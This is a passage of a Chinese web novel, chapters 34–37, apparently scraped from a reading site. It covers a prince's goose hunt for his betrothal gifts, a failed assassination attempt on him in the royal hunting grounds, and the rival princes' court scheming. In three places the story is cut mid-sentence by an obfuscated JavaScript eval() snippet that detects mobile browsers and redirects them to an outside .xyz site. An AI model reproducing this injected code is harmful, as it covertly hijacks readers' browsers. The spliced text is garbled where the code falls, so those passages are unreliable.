百里漾与百里澄约了辰时二刻在湛京城东门外碰面。时辰一到,城门口处便迎来了一队声势颇为浩荡的队伍,威武气派的玄金甲士肩扛黑底镶金纹赤龙三角旗出现在众人的视野之中,占据了道路三分之一的空间。行人皆退避两旁却又忍不住好奇伸头去观望。 崔栋不由瞠目,“陛下竟然将羽林卫派来了。” 羽林卫作为皇帝的侍从亲军之一,向来是只护卫皇帝,没有想到这次竟然被派出来随行保护栎阳长公主和阳陵都主,足见帝王对她们的恩宠。 高头骏马之上,一骑装尽显英姿健飒的百里澄带着同样骑装打扮的阿荧不多时便来到百里漾他们跟前,双方相互问好之后,百里澄解释了一句,“陛下昨个知晚阿荧要去狩猎,不放心便拨了羽林卫与我们同往。” 崔栋觉得陛下不放心的何止是阿荧一人,长女,五子还有小孙女都要往城外去狩猎,任何一个出了点事都难以接受,于是便派了羽林卫来保障他们的安全。 “人既齐了,出发吧。”百里澄扫一眼几人,说道。 他们此行要去的地方是位于湛京东郊约一百二十里外的皇家围场。那一带在泰始元年九月被高/皇帝下令圈做供天家行猎的围场,并在边上建了行宫。每年皇帝都要带着亲近左右以及将军臣子们去狩猎个一两回,大多数是秋日,称作“秋狝”。只不过近几年皇帝身体不大好,秋狝也停几年,除了百里澄偶尔去过几回,行宫那地也没啥人去。 一路奔驰,百里漾等人将将在天黑之前抵达了行宫。驻守行宫的人员提前收到命令,将所有该准备的都准备好了,以便迎接即将到来的几位出身高贵的天潢贵胄以及皇亲国戚。 驻守行宫的主管官员行宫令提前为他们准备好了膳食、热汤等,并率众人在行宫正门前迎接。 “今日且先各自休息,明日再去围场。”行宫的台阶之上,百里澄抱着已经困倦到睡着的阿荧,对着同样一路风尘身染必疲惫的百里漾等人说道。 快马赶了一百多里的路,百里漾和崔栋还好说,但崔若小姑娘就不大受得住了。故而对百里澄的话,他们都没什么意见,作别之往各自的住处去。 行宫规模并不小,最大的主宫是帝后所居,其余的一些宫殿也被皇帝分给了底下的儿女们。不过因为诸侯王就封五年不朝的缘故,百里漾已经足有五六年之久没来过这里了。 作为椒房嫡出,百里漾在行宫所住的宫殿还是不小的,里面的一应布置大体还是他以前来时的模样,看得出此处的行宫令颇为用心。宫殿里有一处凿出来浴池,引山中的一处活泉进来。百里漾舒服洗了澡,疲乏洗去大半,反倒没了困意。 行了一日的路,其他人怕是睡了。百里睡不着,又不好去打扰别人,干脆自己在殿里走来走去,别说还真让他找到一些有趣的东西,正把玩着,忽传来外边守夜的侍人的禀报声音,“大王,崔都尉在外求见。” 34. 第 34 章 百里漾眨眨眼,颇为惊喜,连忙道:“让他进来。” 侍人还没发出通传的声音,崔栋大刺刺的声音就传来了,“我猜你是没睡,看我拿了什么过来”。举着手里拿着的小酒瓶晃了晃。 “果然还是这般喝酒才舒服。”崔栋对着瓶口狂饮,连连叹道。 星空在顶,晚风吹拂。处在山林旷野之间,别有一番宁静滋味。百里漾说他,“你可悠着些,别把自个喝醉了,明日若是起不来,小心若表妹生你气。” “不会不会,这点酒还醉不倒我。”崔栋拍胸口表示自己是海量,拍拍大腿又说,“主要是骑了一日马,这不两侧磨得有点疼,喝点酒好睡觉不是。” 他一副“你也懂”的表情,整得百里漾面色微僵,大腿内两侧应景似的开始觉得有点痛了。这是不可避免的。骑马时间长就是容易磨胯,涂点药会好些,否则明日再上马背就有点艰难了。 这么多年了百里漾还是不大可惯崔栋这种“直白”的说话方式。他清了清声,转了话题问道:“你与卢家姑娘的婚期可定下了?” 按照崔预夫妇的打算,怎么着也要亲眼看着儿子在跟前成婚才行,否则也不会不等崔栋回来就定下了卢氏女作新妇。百里漾估摸着,崔栋的婚期应该在自己的之前。 “暂时没有。”崔栋闷了一口酒,声音低沉下来,目光也有些沉凝,“阿爹阿娘在请灵台丞算着,想必也快出结果了。” 百里漾觉得崔栋是犯了婚前恐惧症,心里又焦又躁无处发泄的那种。他也只安慰崔栋道:“舅父舅母不会亏待于你,定是多番相看斟酌过后才为做此决定的,顺其自然便是。” “卢氏是好女,我知道。”崔栋眉头一皱,但不想让自己陷在这种消极的情绪里,举起酒坛,“届时我可要让你去做傧相的。” “那是自然。”百里漾亦持酒坛与他碰了碰,两人又饮了一大口。酒入喉落下,一股热意在胸口里升起。崔栋忽眯了眯眼,再看左右,周围伺候的人早已被摒退,有些话不用那么顾忌了。 “皇后殿下可有说我们何时回去?”回的指的是回江都。 他问的是皇后,实际上却是在探皇帝的心意,真正决定百里漾何时回江都的人只有皇帝。而皇后作为椒房之主,是最能知道皇帝心意的人。 其定按照他们的想法,若是能将百里漾留在江都不走是最好的。但这也只能想想,因为知道这几乎是不可能之事。朝中需要制衡,皇帝也没有表露过这个意思。 百里漾瞧了崔栋一眼就明白他的意思,略略思索,将那日在椒房殿时吉日册子的事情说了,崔栋心里一琢磨也有数了。 他又哼哼唧唧地说起定安王那几个诸侯王的事,老大不爽,“定安王几个如今可风光得很。王宅中大宴小宴不断,舞乐彻夜不休,宴请了朝中不少大臣。” 这事百里漾也知道并不意外。定安王对储君之位是有想法的,可如今太子仍在,他当然不会傻到明晃晃地表露出来,但也就差了那一层薄薄的窗户纸罢了。 此次他好不容易回到湛京,不得抓紧一切机会拉拢大臣,为自己将来的道路寻找可用的基石。而因为衍朝封王就藩的祖制,诸侯王坐拥一方,有权有势,有的是人企图巴结讨好他们。朝中大臣即使不愿意归附也少有人会选择交恶,面子上再怎么样也会过得去,一般收到诸侯王的请帖也会去赴宴。于是定安王等人的王宅自然也就出现了门庭若市的景象。 “他们也就高兴这一阵,且由他们去又何妨?”百里漾对此不甚在意。 现在的形势总体而言对他以及东宫、椒房是有利的,定安王再得意,过一段时日即便再是心不甘情不愿也依旧要返回封地。而且他始终记得长姐说过的那句话,“他们做的你看得见,朝臣们也看得见,陛下更会看得见”。 现在东宫才是正统,定安王一切僭越的举动都可以视为对东宫的挑衅。一次两次的也就罢了,东宫素仁慈,惦念着手足兄弟之谊不曾出手反击。可若是定安王之流依日难遏贪婪之心、咄咄逼人。世人也只会觉得是定安王之流不对,东宫再做任何反击都是合情合理的。 崔栋品了品他的话,点了点头,没再说什么,抬手欲再喝一口酒,却发见酒坛里已经空了。百里漾见状笑道:“行了,回去就寝吧,明日别真的起不来床。”他手里的酒坛也空了。 崔栋愣完也笑,“成,明日入围场,我们再比一场。”然后就大步离开,很快就消失在了百里漾的视线之中。 翌日,百里漾他们醒来用了朝食之后,带齐了干粮、水等物,留二百羽林卫在行宫待命,另外三百羽林卫则随同百里漾他们进入了围场之中。 能够作为皇家狩猎的围场自然是很大的,附近的几处山林都被围了出来。因这几年之中并无秋狝冬狩,围场之中的野物大肆繁殖,此次百里漾他们前来之前并没有派遣军队提前驱赶大型猛兽和清场。 故而为了安全起见,百里漾等人并不打算深入围场。 阿荧因为年岁不大的缘故,一直都是由百里澄带着同乘一骑。围场狩猎这样前所未有的体验让她极为兴奋,眼睛闪闪发亮,一路都在欢笑,比百里漾在东宫时见到的更加活泼欢乐。 百里澄纵容着阿荧,一路带着阿荧引导她狩猎。可阿荧毕竟还小,使用的小弓是有司特别为她量身制作的,威力有限,顶多能射猎一些体型不大的活物。又因为阿荧年龄小力气不足,往往发现了猎物也猎不到反而将其惊跑了。次数多了,阿荧小脸上就出现了沮丧之色。 百里澄不以为意,摸摸阿荧的小脑袋,安慰道:“没关系,阿荧已经很厉害了。”随后拿出一支小巧玲珑的手持弩箭递给阿荧,手把手教她如何使用,“将此处对准目标,然后扣动这块。” “嗖”的一声破空,一束冷光应声射中了远处草丛里蹲卧的一只灰兔。随从的羽林卫立即上前将猎物捡过来给两人看。 百里漾择挥手,羽林卫更带着猎物退下了。阿荧惊喜之余,心神被手中的弩吸引了,她看了看自己之前用的小弓,眼神带着些茫然,习惯性地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756852|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向自己的姑姑求解。 百里澄道:“使弓更靠己力,用弩更轻巧灵便,但终是外力。能力尚不足时可适当借用外力,但也不可一味借助而忽视了自身能力的培养。需知外力不是一直能有的。” 阿荧听后小脸上似懂非懂,但也把这句话先记住了。 另一边,百里漾和雀栋、崔若兄在周边转了一圈。可他们再加上随从的羽林卫数量太多,一行动光是马蹄踏出来的动静就吓跑了一大部分觉感敏锐的动物了。 跑了一圈下来,基本没有猎到什么猎物,又回到了百里澄这边。 这么多人确实不好行动,百里澄看见几人眼中的跃跃欲试,狩猎本就要分头行动才能尽兴。她开口道:“你们去吧,切勿涉险。” 于是百里漾三人带走两百羽林卫,往另一个方向去了。 百里漾的目的很明确,他只是猎雁,但来了挺久也没见到一只大雁的影子。 “奇了怪了,怎么一只长翅膀的都见不到呢?”转了一个时辰,鹿、獐子等活物见了不少,随行的随从马背上也挂上了不少猎物,崔栋频频抬头望天,不禁纳闷道。 百里漾扭了扭仰得有些许僵硬的脖子,看一眼身后浩荡的人马,思考一番之后对崔栋兄妹说道:“分开吧,我再那边去看看。” 崔栋有些犹豫,百里漾则道:“你放心去,只是猎雁而已,这么多羽林卫还护不住我一个么?”崔栋带崔若来本就是想让妹妹尽兴玩一场的。若是一群人挤在一处,还如何尽兴? 想了想,崔栋道:“行,我们分头行动。万事注意着些,有事招呼。” 于是,一群人马再次分成了两拔。 百里漾引着缰绳山林里走了一段,见到地上走的树上挂的也不动手,中途遇到一只熊瞎子。对方看这边两脚兽人多势众,弓马精良,一看就不是好惹的,吼了两声达到震慑的目的之后跑进山林深处去了。它这么一跑不要紧,一路惊飞了一群栖息在山林隐处的林鸟。 “大王,看那,有雁!” 随行的羽林卫一指天空喊道。 百里溪顿时一喜,刚要拍马追上,选择先抬手止住后面的人,叫了二十骑随他跟上去。猎雁而已,并不需要太多的人。 百里漾骑马率先奔到了一处较为开阔的草地,仰望着头顶上不远振翅而飞的几行大雁,在马上引弓搭箭,看准时机,放弦,两支箭瞬时离弦疾射而去,正正射中两只比邻而飞的大雁,发出两声哀嚎,径直坠落而下。 “大王好箭法!” 立时有人奔去寻找掉落下来的大雁。 虽是一下射中了两只大雁,但也不能保证都是活的。好在去捡大雁的羽林卫很快将两只大雁捡回来。百里漾一见只射伤了翅膀,大喜。身边的羽林卫连忙取了提前准备好的笼子,将两只大雁装进去。 百里漾欣喜于事情的顺利,待回去寻来了兽医给治伤就可以拿去下聘了。四下远望这围场的山林茫茫,隐约还能在风声中捕捉到蛰伏隐藏在密林深处之中猛兽的低吼。 35. 第 35 章 “先回行宫。”百里漾想到长姐与崔栋两拔人一半会儿还不会离开围场,留了人报信,自己则先回行宫。 可没想到回去之时却出事了。 他们经过一处山林时,偶见一只红毛狐狸被藤蔓缠住,正慌乱地“吱吱”乱叫。 百里漾见其长得白胖可爱,想着捉回去做宠物或是送人都可。于是他抬手止住其他人,自己翻身下马,拿了兜网小心靠近。 这只狐狸不知道是吓着了还是本就是这么傻的,目光呆呆的,见有人来捉它也一动不动,在兜网里缩成一团。百里漾提着兜网回来,中途狐狸突然挣扎要脱逃,百里漾顿足把它按住。 也就是这一瞬间,一箭骤然从他的左侧擦过,“嗖”地钉入了前方的树干之上。 “有刺客,护驾!”实如其来的冷箭惊到了所有人,羽林卫等人瞬时将百里漾团团护在中间,另有三十人朝着冷箭射来的方向疾奔去捉拿刺客。 “请大王即刻避去安全之处。”百里漾被拥护着上马,反应过来后一颗冷汗从额角滑落。 方才那一箭,真的,差一点就射中他了。 前后两辈子加起来,这是他第一次遭遇刺杀。后怕之后,百里漾让自己冷静下来。对方既是暗中行刺,那么人数必定不多,只是行藏隐蔽,一击不成,后续再无动静。行刺者此时必定在逃蹿。 “快,立即传信与长公主、崔都尉他们。”百里漾立时喝令道。 焉知这次行刺是冲着他一个人来的,还有都有。百里漾觉得不能再等,当即带着大批的羽林卫去寻百里澄他们了,好在他们两处都没有异状发生。 一次好好的围场狩猎之行就因为突生的变故被迫结束了。 “鼠胆苟且之人,竟敢暗箭伤人!” 崔栋重重一拳擂在桌子上,使之震了一震,气得破口大骂。天晓得他在围场之中得知百里漾遇刺是如何惊怒,又想到栎阳长公主和阳陵郡主还在围场里,他当即带着人去与之汇合,发现两人安全无虞并无刺杀之事才与百里漾一般齐齐松了一口气。 回到行宫之后,百里漾、百里澄与崔栋三人围着一支箭矢而坐,面上皆是沉凝与压抑的怒火。羽林卫已去搜山,但几乎可以预料不会有什么好的结果。围场那么大,山林密布,藏个把刺客根本不是问题。对方一击不成就迅速退去,若是熟悉围场周边地形,想要逃离并不是难事。 很明显,对方是冲着百里漾来的。 那背后之会是谁? 老二百里洪,还是其他的人? “箭是自制的,磨刻的痕迹很粗糙。”百里澄是最为冷静理智的人,这支差点射中百里漾的箭矢被她拿在手中端详,片刻后掷在桌面上,明艳的面容上透着冰冷。 崔栋怒道:“他们也就敢使这种下流伎俩了。” 他们指的是谁,现在还不得而知。 箭矢是人为手工磨制的,那就不能从箭矢的来源去追查,毕竟自制一支箭矢对于很多人来说并不难,随便找来一名山中的猎户都能制作。如果搜山抓不到刺客,那就真的无从追查真正的幕后凶手。 “难道就这么平白忍下这么一个大亏么?”崔栋怒火都烧到了眼睛里。他此刻既是后悔又后怕,差一点他的兄弟就没了。他绝对不能放过幕后指使之人。可查不到证据,这是最让人无力的。 崔栋觉得甚至都无需去想,做出这等阴毒狠辣之事的除了定安王那些人,还能有谁?天底下最巴望着东宫和江都王都没了的人不就是那群狼子野心的么?可他们却什么都做不了,只凭一支来历不明的箭矢,什么都指认不了。 “你先坐下。”百里澄瞥他一眼,说道。 崔栋虽然依旧愤怒,还是听话坐回了自己的位置。 “阿姐有何对策?”百里漾的魂魄此时已定下,他亦很冷静。 眼下事情已经发生,万幸的是他并没有因此受到损伤,愤怒无济于事,后续就该冷静地去思考如何处理此事。没有证据,似乎只能隐忍不发。但他又不甘,就如崔栋所说,难道他们要硬生生地咽下这个哑巴亏么?可他一时想不出什么好的对策,只好看向百里澄。阿姐总不会让他吃亏的。 百里澄当然不会让这件事情就这么算了,差点中箭的是她同胞弟弟,幕后之人用心歹毒,必然不能轻易放过。她心思不过几转,便有了定计。 清亮的目光落在对面巴巴望着她的百里漾和崔栋身上,百里澄沉声道:“此事我们回京之后皆隐下,谁也不要提及。” 隐下不提,还是要暂且隐忍不发么? 不,当然不是,这才是开始。 当晚,百里漾等人依旧是在行宫过夜。一直到了半夜,搜山的羽林卫才收到长公主的命令回返。对于为何要搜山,绝大部分羽林卫的认知是白日江都王差点遭受猛兽袭击,上头命他们搜山是为了驱逐猛兽。只有极少数的人知道真相,其中就包括羽林卫中郎将。 而对于行宫这边的人来说,羽林卫突然搜山让他们颇为惶恐,在得知此举是为了驱逐大型猛兽之后,心才稍微定下。可行宫令老练,他隐约从中嗅到一些不寻常的味道,总觉得这看似平静的湖面下在酝酿着未知的危险漩涡,禁不住生出了许多消不去的惊恐不安来。 躺在行宫的床榻上,百里漾辗转难眠。 其实在回湛京之前他就有过心理准备的,这一次回京不会平静。他此生投身于帝王家,椒房一脉又是如今这般境况,局势如此,有人要与他们争,那他们便不能不争。在尘埃落定之前,权力的斗争厮杀之中发生什么样的事情都有可能,他该有心理准备的。只是没有想到这一天会来得如此之快、如此突然,而他在不久前差点成为第一个出场的人。 百里漾在翻来覆去好几转之后,长长地吐出了一口浊气。他开始思考这次刺杀的背后之人可能是谁,这个时候对他下手于对方而言有何利弊。 其实根本不需要多想,他若被刺身亡,椒房一脉便会不可避免地露出巨大的短板。就如一辆正在疾驰的马车,外表看着再如何华丽坚固,骤然失去一只轮子,最终的结果必然导致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766380|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车毁人亡。百里漾并不怀疑他的皇帝阿爹会因为他的死而愤怒进而杀掉一些人,但在愤怒过后,皇帝也终究会为了大衍的江山承继而考虑在定安王那些子嗣中挑选储君的备选人。 看啊,现实就是这般残酷。 他死了,总有人会得利,而后续的事情也一定会这样发展。 皇帝如今可以立起来的儿子并不算多。百里漾清楚地知道,皇帝阿爹会心疼自己,不代表不会心疼其他的儿子。在已经死了一个儿子的情况下,即便后面能够找到证据指认凶手,而这个凶手是皇帝的其他儿子,皇帝会愿意再死一个儿子么? 百里漾不敢赌这种可能。 而定安王那些人,即使一开始可能会被皇帝的怒火烧掉一层皮,可只要不死,后面总还有卷土重来的机会,最终的赢家也只在他们之中诞生。 这次刺杀当真是奔着他们的命脉来的,之前的那些挑衅都只能算小打小闹。 百里漾陡然想到,他若是死了,阿娘如何受得了,她本身就患有旧疾未愈,丧子之痛如此能够承受得住?他不敢去想象那个后果。 黑暗中,百里漾睁着眼睛,面容覆上一层坚硬的寒冰。 翌日清晨,行宫令等人恭恭敬敬地送走了百里漾一行人。直至羽林卫鳞甲上闪烁的光芒都看不见,行宫令等人才直起身。 想起离去之前栎阳长公主特意敲打他的话,行宫令的后背逐渐被冷汗浸湿,忍不住一阵心惊胆战。他的预感没有错,昨日在围场之中一定是出事了。有一场可怕暴风雨正在酝酿,就是不知道会不会殃及到他们身上。 “到底是椒房所出,这排场就是不一样,我等就是拍马也赶不及啊。” 湛京城最大的一条街上左道的一座三楼建筑之上,长夏王左拥右抱两个美婢,吃着她们喂到嘴边的食物、喝着小酒,时不时调笑两句。一伸头望见街道上整装走过的羽林卫,目光落在前头被簇拥着的百里漾等人身上,心里老大不爽,言语上就带出来了。他心中还记恨着椒房害他被皇帝削掉一郡之地的事情。那可是一个沃郡啊,一想起就跟割心肝肉似的。 “阿爹向来恩宠椒房,而自古嫡庶分明,若要怨也只能怨我们没有嫡子的命。” 这声音就在对面,长夏王抬眼看去,应景似的一抹惆怅,摇头笑叹道:“万般皆是命啊,半点不由人。弟弟我有如今这般滋味的日子过着,也心满意足了。” “四郎乐天知命,倒叫为兄好生敬佩。”定安王面上温和的笑容不减,眼底却藏着鄙夷和不屑,但心中更多的则是怀疑和防备。他的这些兄弟们,一个个的都不能光看表面。这次他约长夏王出来喝酒一叙,明面上说是兄弟数年不见出来叙叙旧,实际上是来试探试探这些兄弟们的态度,主要是对东宫的态度。 而选在这处酒楼主要是视野开阔,一眼就能将下面街道的情形看得清清楚楚。本以为百里涌怎么着都会因为削地之事对椒房一脉心生怨恨,没想到竟是这么一回答。定安王当然不会相信长夏王不恨,他不是怂就是太会装。 36. 第 36 章 定安王的话,长夏王笑笑便过去了。但定安王本来就是有心要试探他,怎么可能让他轻易将话给揭过去。但他并不急于一时,抬手举杯饮一口酒,定安王瞧着羽林卫的身影越走越远,微眯眼,忽说道:“不是去围场行猎么,才两日就回来了?”他觉得有些不太对但也这是一闪而过的想法。 有羽林卫在,又是这个节骨眼上,谁敢惹事,便没有再想。 “谁知道呢。”长夏王并不在意,专心搂着身边美婢与她们调笑,时不时拉拉小手,香两口,听了定安王的话,一手搭在栏杆上歪着头,“听说是去围场猎雁去的。过几日就要往定国公府下聘。啧啧,若是让我娶到这么一个美娇娘,比说大雁,就是大虫我也能猎来。阿爹还真是偏心,连定国公府也给椒房了。” 定安王陡然捏紧了手中的酒盏,蓦地又放松了,就着这个话题说下去,“依我看父皇的意思,怎么着也要留五郎在湛京成了亲再走,亲迎的日子还没定下么?” 长夏王知道他要说什么,也乐意顺着他的话往下说,“怎么没说,灵台丞早算好了两个日子,一个七月十二,一个八月初六,就是还没彻底定下。” 诸侯王大婚,婚期总要有,这也不是什么秘密,稍微打听一下就能知晓。定安王何必明知故问,可他既问了就必有目的。 长夏王这会儿已然猜到定安王想说什么了。 定安王瞧了长夏王一眼,见他还在与婢女调情,按捺住心底的厌烦与恼怒,面带遗憾道:“说来我们几个兄弟之中,为心兄成婚早,后又去封地,却是无缘得见弟弟们成婚,说来也是一件憾事。” 当今皇帝七子,封王就藩的有四子,目前已成婚的也只有定安王和长夏王。而两人又有所不同,定安王是在湛京成婚后再去的封底,长夏王成婚时已就封长夏国,他的王妃是由女方家送嫁至长夏国的,定安王自然也见不到长夏王成婚。若是不久后他们按照规定回到各自的封底,他也必定见不着百里漾成婚。 定安王这么说当然不是因为真的兄友弟恭、真心想看弟弟成婚,他的最终目的是延长留在湛京的时间。以如今的情况来看,百里漾留在湛京成婚之后再回封地是难以更改的了,这也是此次岁贡回京、东宫退让他们需要付出的代价。 定安王看得很明白,太子不死,他们这些兄弟迟早是要回封地的,即使是百里漾因为要成婚晚一两个月再走也不碍什么事。 可他担心的是这个么? 就如他一门心思想要回湛京一样,东宫与椒房那边的人也在卯足了心思想办法让百里漾从封地回到湛京。迟则易生变,定安王怕就怕百里漾多待在湛京的这一两个月里,椒房他们想出什么法子磨得皇父答应让百里漾长期的留在湛京。一旦太子病死,百里漾近水楼台先得月顺理成章地成为了新的太子,哪还有他什么事? 要留一起留,要走也得一起走。 定安王与心腹左右商议过了,若是以诸侯王已就封在京行婚仪不合规矩为由向皇帝上奏,必然会招致皇帝的不满。既然不能阻止那就想办法换个思路让自己也能留下来。 周贵妃曾对定安王说过,“你阿爹这几年逐渐老了,日前我替他梳发时发现底下全是白发。你平日若是多顺着他些,时常把孩子带入宫来给他瞧瞧,他会欢喜的。” 于是思来想去,他便想出了这招。但光他一人去与皇帝说未必能行,最好能将老四和老六都拉上。老六那他已去找过了,那小子没让他多费口舌就应了下来。就是这个老四,平日里看着最是放诞轻狂,实际上也不是个简单的货色。 而定安王刚把这个意思透露出来,长夏王当即就是皱眉,为难道:“弟弟也不怕二哥笑话,这湛京虽好可我却是不想多待的。皇城规矩森严,哪有我在封地快活自在。” 他确实不是一个安分的,前面惹了皇帝大怒削了一郡之地后,老实了一段时间,可没过多久就开始故态复萌,又惹出了几起子事情,让御史把弹劾他的奏本都送到皇帝的案头上。皇帝一开始是压下不理会,但参奏的数量多了他也无法完全坐视不理,将长夏王叫进宫来训了两回。由是如此,长夏王能痛快才有假了。 真是没出息的废物。 定安王暗骂了一声,想了想,换了一个说法,“四郎就要这么灰溜溜地回去么?二哥我是替你担心,别忘了,你长夏国的封地本就不多,此次阿爹削的可是一个沃郡,若是不能在回去之前求得阿爹心软给你重新赐地,这以后的日子还能像这般舒服么?” 那必定是不能的。 长夏王突地一下挺直了身子,拧眉沉思片刻后挥挥手让身边的美婢全都退下。自己知道自家事。诸侯王的日常开支并不是一个小数目,收入很大一部分是来源于封地的税收,一下削去了一个沃郡,长夏国往后的收入都要少掉将近一半。长夏王自己本身就是挥霍无度的,陡然少了快一半的钱,日后这日子还怎么过? 定安王一看就知长夏王被他说动了,心下满意,说道:“过两日去宫中拜见阿爹时我们兄弟一道说此事,想必阿爹不会不同意的。” 他们这边定下了,那边羽林卫将栎阳长公主、江都王等人全都护送回去之后,领头的羽林中郎将马不停蹄地就往皇帝所在的宣室殿复命。 得知长女、五子与小孙女全都安然回来,皇帝多问了一句聘雁的事情。羽林中郎将拱手答道:“江都王好射术,两箭齐发就射下了两只活雁。” “哦,五郎果真是射艺过人”。皇帝不是第一次听到类似的回答,上次越国长公主游园会上的比箭他亦有所耳闻,自然相信此事的真实,心中难免骄傲。 羽林中郎将看出皇帝心情好,回道:“此乃众多羽林卫亲眼所见。” 皇帝肉眼可见的更加高兴,对羽林中郎将说道:“此行羽林卫护卫有功,皆赏。” 羽林中郎将谢恩,眼看着该退下。重新将目光放回奏本上的皇帝一抬眼,见他面上迟疑犹豫,皇帝脸色一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774790|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉,搁了御笔,眼里积聚雷霆威势,“说罢,还有什么事?” 江都王宅的前院里,百里漾一回来就令人将两只大雁带下去,再寻一名兽医来给它们治伤。属臣听闻百里漾回来急忙奔来见他,见他安然无恙回来很是高兴,又告诉他负责制做婚服的有司昨日登门将新制的婚服送来,请大王试试合不合身,若有不合之处再返回去改。 百里溪心中挂着事,点头表示自己知道了,越过属臣往里去了。 属臣觉得自家大王瞧着怎么有些神思不属,莫不是去围场两日来回奔波累着了?必然是如此,围场距离京城可不算近,两日余的时间就要来回是赶来些。 唉?属臣后知后觉地发现,是啊,大王怎么这么快就回来了。此前他预估着再快至少也要三日才能回来,莫不是真发生来什么事情? 东宫之中,百里澄将阿荧送回到太子妃那里。太子也在,两日不见女儿,他心中想得紧。问了些围场狩猎有不有趣的话,看女儿揉着眼晴困了,便让太子妃带她回去休息。太子妃离开之后,侍女为二人沏茶,太子一挥手,室内伺候的人便都退下了。 “发生了何事?”太子面容上带了凝重,问道。 兄妹俩彼比帮扶多年,早已有默契,此次围场之行匆忙,而百里澄送了阿荧回来却不急着离开,必然有事要同他说。 百里澄将百里漾在围场险些被刺的事情说了,随后将那支箭矢放在太子面前。太子在经过初时的惊怒之后亦迅速冷静下来,拧眉捏着箭矢看了片刻后问道:“此事你们可有对策?” 在太子看来,此事百里漾未出事实属万幸,即使没有证据指向幕后之人,但也不可就此算了。诸侯王遇刺并非小事,可至今却无半点风声传出,其中必然有百里澄他们的手笔,想来他们在围场之时就已经商量出了对策。 百里澄对太子说道:“仅凭一支箭矢,毫无作用,拿出去还容易被指有污蔑之嫌。”揭发指认均是要拿出实证的,事情越是大就越是要铁证,冒然拿一支不知来路的箭矢当物证,不仅不能取信于朝臣,更不能让皇帝相信。无论是椒房还是东宫都不会做这么愚蠢的事情,但这也不代表他们什么都不能做。 百里漾差点被暗箭所伤是事实,此乃一众羽林卫亲眼所见,做不得假。羽林卫搜山之事动静之大,瞒不住人的眼睛,最终也会传到皇帝的耳中。以太子和百里澄对皇帝的了解,他必然会过问,回去复命的羽林中郎将也一定会据实以答。 儿子险些遇刺,皇帝却是从羽林中郎将口中才得知此事,他心中会如何想?而百里漾他们唯一需要做的事情就是隐瞒下遇刺的事情,绝对不去皇帝面前去告状控诉,做出一副要隐下此事、若无其事的姿态。受害者选择咽下这份委屈,为的是什么,皇帝心中自会去想。他们静观其变就是。 “此事不能瞒着阿娘,我去说吧。”百里澄喝了茶解渴,搁下茶盏说道。差点遇刺的是他们的幼弟,此事不能不让皇后知道。 37. 第 37 章 “许多事,辛苦阿澄了。”太子忽然对百里澄这般说道。 他向来身体不济,许多事情就要妹妹帮忙担待奔走,也是因此一些歹人就恶传说栎阳长公主专横恣睢、跋扈骄纵,惹得那些青年才俊不敢为驸马。太子心中满怀歉意,百里澄自然能领会太子的意思,并不放在心上,道:“阿兄说的什么话,都是一家人。” “一晃眼五郎都要成亲生子了,阿娘盼着这一日也不知盼了多久,这回她心愿得了,剩下的就是你的婚事……”太子继续感慨,但他还没有说完,百里澄打断了他,“算算时辰也该到阿娘用药的时辰了,我这会儿过去还能服侍,便不打扰阿兄了。”然后她就脚下生风似的离开了东宫,根本没有给太子挽留她的机会。 太子:“……” 这催婚的话题就一点都不能提了是吧? 之后的几日,风平浪静。 百里漾配合着有司筹备婚礼,其一是试婚服,有些不合身的地方提出来让有司去改了。定国公府那边也收到了天家送来的聘礼,天家娶妇,排场必然大,从聘礼上就知不凡。 为显重视,皇后虽不出面却派出身边的掌宫令。皇后盼着幼子成家不是一日两日了,不娶妇的聘礼早就开始攒了,从聘礼册子的厚度就可见一斑。其中甚至不乏天南地北来的奇珍异宝,许多宝贝更是只听说过没见过的,也不到皇后攒在库房里多少年了。 “有劳陶掌宫来。”定国公府出面之人是曹氏,她自是见过掌宫令的。 “国公夫人言重,这是下官职责本分所在。”掌宫令亦笑回道。 前头在为下聘之事忙碌,后宅女眷居住的院落之中,颜漪则在手把手教导幼妹习字,而婢女在一旁眉目欢喜地说着下聘时的盛况,“听说那对活雁还是江都王亲去围场猎的。” 在婢女看来,以江都王之身份高贵,亲自去围场猎雁下聘而不假借于他人之手,这无疑是对她家姑娘的看重,她自然为自家姑娘感到欢喜。 颜漪也知道百里漾不久前往围场去了一趟,为的就是猎取聘雁。即将成婚的未来夫婿看重这门婚事,亦看重她,而颜漪从上次与百里漾的见面之中亦能感觉得到百里漾的这份看重之中并不单单是因为她背后的定国公府,对方有在用心。这个认知也让颜漪对这门婚事多了一点此前没有的期待。 只是,她总觉得江都王等人的围场之行透着些不寻常。两日的行程太赶,且阳陵郡主还同去,此行应当好好狩猎一回,尽兴而归才是,结果却是匆匆而回。一定是生了什么变故,但消息却被匿了下来。 